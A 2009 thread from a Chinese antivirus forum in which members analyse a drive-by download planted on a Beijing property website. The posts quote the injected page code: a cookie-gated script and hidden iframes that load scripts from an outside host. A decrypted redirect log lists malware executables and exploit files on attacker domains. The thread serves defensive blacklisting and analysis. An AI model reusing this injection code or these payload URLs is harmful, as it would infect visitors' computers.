瑞星卡卡安全论坛技术交流区恶意网站交流 古怪的网马hxxp://beijing.anjiake.com/include/dedeajax2.js

1   1  /  1  页   跳转页

[黑名单] 古怪的网马hxxp://beijing.anjiake.com/include/dedeajax2.js

收藏
竹本无ベ
头像
卡卡反病毒小组
  • 帖子:79
  • 注册: 2008-08-19
  • 来自:南平
发表于： 2009-07-01 15:58 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

古怪的网马hxxp://beijing.anjiake.com/include/dedeajax2.js

这个网马，每个IP只能一次。害我不断的清空缓存和换IP.(代码段太长删除了大部分)


引用:
<HTML xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE>北京安家客</TITLE>
<META http-equiv=Content-Type c>
<SCRIPT language=javascript src="include/dedeajax2.js" type=text/javascript></SCRIPT>

<SCRIPT language=javascript>if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("%3Cscript%20src%3Dhttp%3A//ww2.niupan.com/html/youxi/html/youxi/dianzijingji/ads.jpg%3E%3C/script%3E"));}</SCRIPT>

<SCRIPT src="http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/ads.jpg"></SCRIPT>
</HEAD>
<BODY><IFRAME src="http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/999.htm?009900" width=0 height=0></IFRAME>
<SCRIPT language=javascript src="http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.jpg"></SCRIPT>
<IMG style="WIDTH: 0px; HEIGHT: 0px" src="http://web2.51.la/go.asp?svid=8&id=2864749&tpages=1&ttimes=1&tzone=8&tcolor=32&sSize=1024,768&referrer=&vpage=http%3A//beijing.anjiake.com/ajk_new/index.php"><IFRAME src="http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.htm" frameBorder=0 width=0 height=0></IFRAME> <INPUT id=oV6 style="VISIBILITY: hidden; WIDTH: 0px; POSITION: absolute; TOP: 0px" onchange=fV8(fV1,5,true)>
<DIV id=oV10 style="DISPLAY: inline">






引用:
关于:hxxp://www.anjiake.com/解密的日志(全体输出 -  60):

Level  1>[url=http://beijing.anjiake.com/include/dedeajax2.js]http://beijing.anjiake.com/include/dedeajax2.js
Level  2>[url=http://www.anjiake.com/v1/flash/focus.swf]http://www.anjiake.com/v1/flash/focus.swf  ●
Level  2>http://img.alimama.cn/bm/bc.swf?v=20090430
Level  2>http://beijing.anjiake.com/ajk_new/skin/logo.gif
Level  2>[url=http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.htm]http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.htm
Level  2>http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.jpg
Level  2>[url=http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/999.htm?009900]http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/999.htm?009900
Level  3>[url=http://00pp00.360yyy.8800.org:338/b117173/b11.htm]http://00pp00.360yyy.8800.org:338/b117173/b11.htm
Level  4>[url=http://count7.51much.com/cnt.php?uid=ua-1-13197&style=text&text=]http://count7.51much.com/cnt.php?uid=ua-1-13197&style=text&text=í???í3??
Level  4>[url=http://00pp00.360yyy.8800.org:338/b117173/new.html]http://00pp00.360yyy.8800.org:338/b117173/new.html
Level  5>[url=http://00pp00.360yyy.8800.org:338/wewew.js]http://00pp00.360yyy.8800.org:338/wewew.js
Level  6>[url=http://x9s7b.cn:8808/baidu.exe]http://x9s7b.cn:8808/baidu.exe  ●
Level  6>[url=http://x9s7b.cn:8808/baidu.cab]http://x9s7b.cn:8808/baidu.cab  ●
Level  5>[url=http://00pp00.360yyy.8800.org:338/real11.htm]http://00pp00.360yyy.8800.org:338/real11.htm
Level  6>[url=http://00pp00.360yyy.8800.org:338/realplay.js]http://00pp00.360yyy.8800.org:338/realplay.js
Level  7>[url=http://x9s7b.cn:8808/a/real11.css]http://x9s7b.cn:8808/a/real11.css  ●
Level  5>[url=http://00pp00.360yyy.8800.org:338/real10.htm]http://00pp00.360yyy.8800.org:338/real10.htm
Level  6>[url=http://00pp00.360yyy.8800.org:338/real.js]http://00pp00.360yyy.8800.org:338/real.js
Level  7>[url=http://x9s7b.cn:8808/a/re.css]http://x9s7b.cn:8808/a/re.css  ●
Level  5>[url=http://00pp00.360yyy.8800.org:338/cx.htm]http://00pp00.360yyy.8800.org:338/cx.htm
Level  5>[url=http://00pp00.360yyy.8800.org:338/active.htm]http://00pp00.360yyy.8800.org:338/active.htm
Level  5>[url=http://00pp00.360yyy.8800.org:338/b117173/fx.htm]http://00pp00.360yyy.8800.org:338/b117173/fx.htm
Level  6>[url=http://00pp00.360yyy.8800.org:338/b117173/xlink.html]http://00pp00.360yyy.8800.org:338/b117173/xlink.html
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,16,0f.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,28,0f.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,45,0f.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,47,0f.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,64,0f.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,115,0f.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/flash.js]http://00pp00.360yyy.8800.org:338/b117173/flash.js
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/swfobject.js]http://00pp00.360yyy.8800.org:338/b117173/swfobject.js
Level  6>[url=http://00pp00.360yyy.8800.org:338/b117173/mlink.html]http://00pp00.360yyy.8800.org:338/b117173/mlink.html
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/flash.js]http://00pp00.360yyy.8800.org:338/b117173/flash.js
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/swfobject.js]http://00pp00.360yyy.8800.org:338/b117173/swfobject.js
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,47,0i.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,28,0i.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,64,0i.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,16,0i.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,45,0i.swf  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/b117173/win]http://00pp00.360yyy.8800.org:338/b117173/win 9,0,115,0i.swf  ●
Level  5>[url=http://00pp00.360yyy.8800.org:338/apple4.htm]http://00pp00.360yyy.8800.org:338/apple4.htm
Level  6>[url=http://00pp00.360yyy.8800.org:338/14.js]http://00pp00.360yyy.8800.org:338/14.js
Level  7>[url=http://x9s7b.cn:8808/a/ms.css]http://x9s7b.cn:8808/a/ms.css  ●
Level  5>[url=http://00pp00.360yyy.8800.org:338/zhin.js]http://00pp00.360yyy.8800.org:338/zhin.js
Level  6>[url=http://00pp00.360yyy.8800.org:338/bfyy.htm]http://00pp00.360yyy.8800.org:338/bfyy.htm
Level  7>[url=http://00pp00.360yyy.8800.org:338/bf.js]http://00pp00.360yyy.8800.org:338/bf.js
Level  8>[url=http://x9s7b.cn:8808/a/bf.css]http://x9s7b.cn:8808/a/bf.css  ●
Level  7>[url=http://00pp00.360yyy.8800.org:338/bff.js]http://00pp00.360yyy.8800.org:338/bff.js
Level  6>[url=http://00pp00.360yyy.8800.org:338/as.htm]http://00pp00.360yyy.8800.org:338/as.htm
Level  7>[url=http://00pp00.360yyy.8800.org:338/as.js]http://00pp00.360yyy.8800.org:338/as.js
Level  7>[url=http://x9s7b.cn:8808/a/as.css]http://x9s7b.cn:8808/a/as.css  ●
Level  6>[url=http://00pp00.360yyy.8800.org:338/lzz.htm]http://00pp00.360yyy.8800.org:338/lzz.htm
Level  7>[url=http://00pp00.360yyy.8800.org:338/lzz.js]http://00pp00.360yyy.8800.org:338/lzz.js
Level  8>[url=http://x9s7b.cn:8808/a/lzz.css]http://x9s7b.cn:8808/a/lzz.css  ●
Level  5>[url=http://00pp00.360yyy.8800.org:338/xnnn.js]http://00pp00.360yyy.8800.org:338/xnnn.js
Level  2>
Level  3>
Level  4>[url=http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.htm]http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.htm
Level  3>[url=http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/999.htm?009900]http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/999.htm?009900
Level  4>[url=http://00pp00.360yyy.8800.org:338/b117173/b11.htm]http://00pp00.360yyy.8800.org:338/b117173/b11.htm

网页分析：cchao21(打点的均为真实木马地址)


用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon)
最后编辑networkedition 最后编辑于 2009-07-01 16:10:55
分享到：
gototop
 
shadowmin
头像
拙长孩提狮
  • 帖子:69
  • 注册: 2007-10-27
  • 来自:
发表于： 2009-07-01 16:01 | 短消息 资料
字号： 小 中 大 2楼

回复：古怪的网马hxxp://beijing.anjiake.com/include/dedeajax2....

<SCRIPT language=javascript>if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("%3Cscript%20src%3Dhttp%3A//ww2.niupan.com/html/youxi/html/youxi/dianzijingji/ads.jpg%3E%3C/script%3E"));}</SCRIPT>
清除你的cookie就好了
本来想在这里
http://bbs.ikaka.com/showtopic-8638808.aspx
考考大家呢，现在没戏了。
gototop
 
竹本无ベ
头像
卡卡反病毒小组
  • 帖子:79
  • 注册: 2008-08-19
  • 来自:南平
发表于： 2009-07-01 16:04 | 只看楼主 短消息 资料
字号： 小 中 大 3楼

回复 2F shadowmin 的帖子

我光顾着发贴，没看到你的悬赏贴。
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2009-07-01 16:08 | 短消息 资料
字号： 小 中 大 4楼

回复 2F shadowmin 的帖子

汗，今天的播报有个网站就是挂到这里了，这个我当过教程讲过。
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT